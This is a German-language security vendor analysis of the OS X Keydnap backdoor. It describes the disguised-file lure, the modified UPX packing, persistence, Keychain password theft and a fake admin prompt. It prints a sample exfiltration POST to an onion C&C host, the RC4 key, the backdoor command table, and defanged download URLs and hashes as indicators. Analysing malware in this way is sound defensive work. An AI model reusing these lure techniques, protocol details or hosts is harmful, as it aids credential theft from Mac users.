ESET analysiert auch Malware, denen sich OS X jeden Tag ausgeliefert sieht. Diese Malware-Proben sind normalerweise potentielle ungewollte Anwendungen, die Werbeanzeigen in den Browser einschleusen und dann zum Vorschein kommen, wenn der User im Internet surft.

Innerhalb der letzten zwei Wochen haben wir einen interessanten Fall untersucht. Dabei versuchte eine Malware wichtige Eingaben mitzuschneiden und ein permanentes Backdoor zu installieren. Dieser Artikel zeigt alle Komponenten dieser Bedrohung und was wir darüber wissen.

Infektionsweg

Es ist noch nicht ganz klar, wie Opfer auf OS X /Keydnap hereinfallen. Verantwortlich dafür könnten Spam-Nachrichten, Downloads von nicht vertrauenswürdigen Quellen oder kompromittierende E-Mail-Anhänge sein.

Wir wissen, dass ein Downloader in einer .zip Datei verteilt wird. Die Archivdatei enthält eine Mach-O Datei mit einer Endung wie .txt oder .jpg, die Vertrauen erwecken sollen. Allerdings enthalten die Dateiendungen zusätzlich ein Leerzeichen am Ende. Mit einem Doppelklick auf die Datei wird diese somit im Terminal gestartet und nicht die Vorschau oder der Text-Editor.

Fenster mit ZIP und schädlicher .jpg Datei

Fenster mit ZIP und schädlicher .jpg Datei

Nähere Einzelheiten liefern die Dateieigenschaften

Nähere Einzelheiten liefern die Dateieigenschaften

Die ZIP enthält auch die Ressourcen, die das Symbol der ausführbaren Datei zeigen. Damit die Chance erhöht wird, dass der User auf die Dateien klickt, ahmen sie bekannte Icons nach. Einmal gestartet, öffnet sich das Terminal-Fenster und die böswillige Nutzlast wird ausgeführt.

OSX/Keydnap downloader

Der Downloader ist eine unsignierte Mach-O ausführbare Datei. Wenn also die Datei von einem Internet-Browser heruntergeladen wird und der iOS Gatekeeper auf der Maschine aktiviert ist, zeigen die neueren Versionen OS X und Mac OS dem Benutzer eine Warnung und die Datei wird nicht ausgeführt.

Warnmeldung wenn die ZIP-Datei von Safari heruntergeladen wurde

Warnmeldung wenn die ZIP-Datei von Safari heruntergeladen wurde

Die Funktionsweise des Keydnap Downloaders ist simpel:

  1. Er läd ein Backdoor herunter und installiert es
  2. Der Inhalt der Mach-O ausführbaren Datei wird durch einen Köder ersetzt - entweder mit einer Base64-kodierten eingebetteten Datei oder durch eine aus dem Internet heruntergeladene.
  3. Öffnen des Köder-Dokuments (später beschrieben)
  4. Schließen des Terminal-Fensters, das kurz geöffnet wurde

Das Lockvogel-Dokument ersetzt die Downloader Mach-O-Datei und so ist die bösartige ausführbare Datei nur noch in der ZIP-Datei vorhanden. Der Downloader ist nicht persistent. Allerdings fügt das heruntergeladene Backdoor einen Eintrag in das LaunchAgents- Verzeichnis hinzu um zukünftige Neustarts zu überleben. Das wird ausführlicher im Backdoor-Abschnitt beschrieben.

Wir haben mehrere Varianten des Downloaders gefunden. Eine Liste der verschiedenen Beispiele findet sich am Ende des Artikels.

Interessanterweise haben wir auch Beispiele mit eingebetteten Lockvogel-Dokumente gesehen, die Screenshots von Botnet-C&C-Panels oder Kreditkartennummern zeigen. Das deutet darauf hin, dass Keydnap Nutzer von Untergrund-Foren oder sogar Sicherheitsforscher angreift. Einige Varianten enthalten ein "Build Name". Wir haben drei verschiedene Namen gesehen: elitef*ck, ccshop und transmission.

Beispiel Köder-Dokument (1)

Beispiel Köder-Dokument (1)

Beispiel Köder-Dokument (2)

Beispiel Köder-Dokument (2)

Beispiel Köder-Dokument (3)

Beispiel Köder-Dokument (3)

OSX/Keydnap backdoor

Alle Malware-Proben des Backdoors haben den Dateinamen icloudsyncd. Die Malware verfügt über einen Version-String, der dem C&C-Server übermittelt wird. Bisher haben wir zwei Versionen gesichtet: 1.3.1 erstmals im Mai 2016 und 1.3.5 im Juni.

Die Verschleierungstaktik

Anders als das Downloader-Modul ist das Backdoor mit einer modifizierten Version von UPX gepackt. Zwei Modifikationen wurden an UPX-Version 3.91 vorgenommen:

  • Die magische Bytes UPX! im UPX-Header wurden mit ASS7 ersetzt
  • Die dekomprimierten Code- und String-Abschnitte sind XORed mit 0x01. Während der Selbst-Entpackung wird XOR nach der Dekompression und vor dem Aufruf der Hauptfunktion angewendet

Der Unterschied zwischen einer Stock UPX gepackten Datei und der modifizierten Variante

Der Unterschied zwischen einer Stock UPX gepackten Datei und der modifizierten Variante

Ein Patch für UPX ist auf ESETs Malware-Research Github Repository erhältlich. Dieses erlaubt den Keydnap Backdoor mit dem üblichen „upx -d“-Befehl zu entpacken.

Persistenz

Einmal gestartet, installiert das Keydnap Backdoor eine plist Datei in /Library/LaunchAgents/ insofern es Root-Rechte besitzt. Ansonsten lautet der Pfad $USER/Library/LaunchAgents/ um zumindest nicht durch Neustarts beeinflusst zu werden. Der Library/Application Support/com.apple.iCloud.sync.daemon Pfad wird dazu gebraucht, die icloudsyncd zu behalten. Diese Direktion beinhaltet auch die Prozess-ID der laufenden Malware in process.id und „Build Name“ in build.id. Mit Administrator-Rechten wird auch der Nutzer von icloudsyncd zu root:admin und schafft die ausführbaren Dateien setuid und setgid, die zukünftiges Root-Recht garantieren.

Eigenschaftslistendatei in LaunchAgents-Verzeichnis

Eigenschaftslistendatei in LaunchAgents-Verzeichnis

Um den Ort der schädlichen Datei zu verstecken, tauscht Keydnap argv[0] mit/usr/libexec/icloudsyncd –launchd netlogon.bundle. Hier ist ein Beispiel des Ergebnisses von ps ax auf einem kompromittierten System.

$ ps ax
[...]
 566 ?? Ss 0:00.01 /usr/libexec/icloudsyncd -launchd netlogon.bundle
[...]

Ergebnis von ps ax

Stehlen von Anmeldedaten

Das OS X / Keydnap Backdoor ist mit einem Mechanismus ausgestatten, der Passwörter und Schlüssel abfangen und auslesen kann, die in OS X Keychain gespeichert sind. Der Autor nahm einfach das Tool keychaindump von Github. Das Programm liest den Speicher von securityd aus und sucht nach dem passenden Entschlüsselungsschlüssel für Keychain. Dieser Vorgang wird in einem Paper von K. Lee und H. Koo näher erläutert. Wir denken, einer der Gründe warum die Quelle direkt von Github kommt, ist die Tatsache, dass die Funktionsnamen im Quellcode identisch mit denen der Keydnap Malware sind.

Funktionsliste des Keydnap Backdoors. Die keychaindump -Funktionen sind grün dargestellt.

Funktionsliste des Keydnap Backdoors. Die keychaindump -Funktionen sind grün dargestellt.

Command & Control Kommunikation (C&C)

Keydnap benutzt den onion.to Tor2Web Proxy über HTTPS, um an einen C&C-Server zu kommunizieren. Uns sind zwei onion-Adressen aus unterschiedlichen Malware-Proben bekannt:

  • og5wcesdfjzne7255.onin (Down)
  • r2elajikcosf7zee.onion (Bestand zum Zeitpunkt der Erstellung des Artikels)

Die HTTP-Quelle startet immer mit /api/osx/ und beinhaltet Anweisung wie:

  • /api/osx/started berichtet, dass der Bot seinen Dienst aufgenommen hat
  • /api/osx/keychain Extraktion des Inhalts der Keychain
  • /api/osx/get_task?bot_id={botid}&version={version} Anfrage einer Aufgabe (wie unten beschrieben)
  • /api/osx/cmd_executed berichtet, dass der Output eines Befehls ausgeführt wurde
  • /api/osx/task_complete?bot_id={botid}&task_id={taskid} berichtet, dass Anweisung abgeschlossen wurde

HTTP POST beinhaltet zwei Felder: bot_id und data. Das „Data“-Feld ist mit dem RC4-Schlüssel u2RLhh+!LGd9p8!ZtuKcN verschlüsselt. Bei der Extrahierung der Keychain wird anstatt dem keychain -Feld data verwendet.

POST /api/osx/started HTTP/1.1
Host: r2elajikcosf7zee.onion.to
Accept: */*
Content-Length: 233
Content-Type: application/x-www-form-urlencoded

bot_id=9a8965ba04e72909f36c8d16aa801794c6d905d045c2b704e8f0a9bbb97d3eb8&data=psX0DKYB0u...5TximyY%2BQY%3D

Malware schickt Startinformationen

> rc4decrypt(base64decode("psX0DKYB0u...5TximyY+QY="), "u2RLhh+!LGd9p8!ZtuKcN")
device_model=MacBookPro9,2
bot_version=1.3.5
build_name=elitef*ck
os_version=15.5.0
ip_address=4.5.6.7
has_root=0

Entschlüsselte Daten werden zum C&C-Server gesendet

Die bot_id wird mit Hilfe der folgenden Informationen durch SHA-256 konstruiert:

  1. Die Hardware UUID (IOPlatformUUID)
  2. Die System-Seriennummer (IOPlatformSerialNumber)
  3. Die Modellkennung des Mac (z.B.: MacBookPro9,2)

Die meisten Aktionen sind selbsterklärend. Ein Startbefehl sendet die folgenden Informationen an den C&C-Server:

  • device_model: Modellkennung (e.g.: MacBookPro9,2)
  • bot_version: Version von Keydnap
  • build_name: der “Build Name”, der vom Downloader kommt
  • os_version: OS X oder mac OS Kernel Version
  • ip_address: externe IP-Addresse berichtet durch ipify.org
  • has_root: 1 wenn als root ausgeführt, sonst 0

Backdoor-Befehle

Die Antwort auf get_task enthält eine ganze Zahl, um die Art des Befehls und optionale Argumente zu identifizieren. Die Funktion mit dem Namen get_and_execute_tasks umfasst zehn verschiedene Befehlstypen.

Befehl Beschreibung
0 Deinstalliere Keynap und beende
1 Update das Backdoor von einer Base64-verschlüsselten Datei
2 Update die URL, die durch das Backdoor gegeben wurde
3 Dekodiere und führe eine Base64-kodierte Datei aus
4 Dekodiere und führen ein Base64-kodiertes Python-Skript aus
5 Downloade und führe eine Datei von folgender URL aus
6 Downloade und führ ein Python Script von einer URL aus
7 Führe einen Befehl aus und berichte dem C&C-Server über den Ausgang
8 Fordere das nächste Mal Administratorrechte, wenn der Benutzer eine Anwendung startet
9 Dekodiere und starte oder stoppe die Base64-kodierte Datei calledauthd_service

Die letzten zwei Befehle stechen heraus. Befehl Nummer 8 in der Tabelle muss gesendet werden, wenn Keydnap nicht unter Root-Rechten läuft. Ist das der Fall, beginnt das Backdoor, die Prozessanzahl des Benutzers zu überwachen. Sobald zwei neue Prozesse innerhalb von zwei Sekunden erstellt werden, wird Keydnap ein Fenster einblenden. Dieses fragt nach den Anmeldeinformationen des Users. Das Erscheinungsbild entspricht dem normalen Fenster, dass zum Vorschein kommt, wenn OS X nach Admin-Rechten fragt. Fällt ein Opfer auf diese Masche herein, wird das Backdoor fortan Root-Rechte besitzen und Daten aus Keychain auslesen.

Durchführung des Verfahrens der Zählerprüfung

Durchführung des Verfahrens der Zählerprüfung

icloudsyncd fordert Nutzerrechte an

icloudsyncd fordert Nutzerrechte an

Wir wissen nicht, was der ausführbare authd_service Befehl 9 ist, weil wir diesen nicht verwendet sahen. Es könnte als eine Art dritte Stufe von Malware auf bestimmte interessante Ziele eingesetzt werden.

Schlussfolgerung

Es gibt ein paar fehlende Stücke in diesem Puzzle. Bisher wissen wir nicht ganz genau wie Keydnap verteilt wird. Unbekannt ist auch die Opferzahl bereits Geschädigter.

Zwar gibt es mehrere Sicherheitsmechanismen in OS X, die für Malware ein Hindernis darstellen. Dennoch ist es möglich, die Sandbox des Users zu umgehen und bösartigen Code einzuschleusen, indem im Prinzip einfach das Symbol einer Mach-O-Datei ersetzt wird.

Downloader

Alle unten aufgeführten Downloader sind als OSX/TrojanDownloader.Keydnap.A  durch ESET identifiziert worden.

SHA-1 Dateiname auf VirusTotal am Backdoor Download URL Köder oder URL
07cd177f5baf8c1bdbbae22f1e8f03f22dfdb148 “info_list.txt “ 2016-05-09 hxxp://dev.aneros.com/media/icloudsyncd “Most Common Interview Questions”
78ba1152ef3883e63f10c3a85cbf00f2bb305a6a “screenshot_2016-06-28-01.jpg “ 2016-06-28 hxxp://freesafesoft.com/icloudsyncd BlackHat-TDS Panel screenshot
773a82343367b3d09965f6f09cc9887e7f8f01bf “screenshot.jpg “ 2016-05-07 hxxp://dev.aneros.com/media/icloudsyncd Firefox 20 about screenshot
dfdb38f1e3ca88cfc8e9a2828599a8ce94eb958c “CVdetails.doc “ 2016-05-03 hxxp://lovefromscratch.ca/wp-admin/css/icloudsyncd hxxp://lovefromscratch.ca/wp-admin/CVdetails.doc
2739170ed195ff1b9f00c44502a21b5613d08a58 “CVdetails.doc “ 2016-05-03 hxxp://lovefromscratch.ca/wp-admin/css/icloudsyncd hxxp://lovefromscratch.ca/wp-admin/CVdetails.doc
e9d4523d9116b3190f2068b1be10229e96f21729 “logo.jpg “ 2016-06-02 hxxp://dev.aneros.com/media/icloudsyncd sanelite logo
7472102922f91a78268430510eced1059eef1770 “screenshot_9324 2.jpg “ 2016-06-28 hxxp://freesafesoft.com/icloudsyncd Some C&C panel

Backdoor

SHA-1 ESET Erkennungsname C&C Version
a4bc56f5ddbe006c9a68422a7132ad782c1aeb7b OSX/Keydnap.A hxxps://g5wcesdfjzne7255.onion.to 1.3.1
abf99129e0682d2fa40c30a1a1ad9e0c701e14a4 OSX/Keydnap.A hxxps://r2elajikcosf7zee.onion.to 1.3.5

Backdoor C&C-Server

  • hxxps://g5wcesdfjzne7255.onion.to/
  • hxxps://r2elajikcosf7zee.onion.to/

Keydnap IoCs sind ebenfalls verfügbar und aktuell auf ESET Malware-ioc Github-Repository.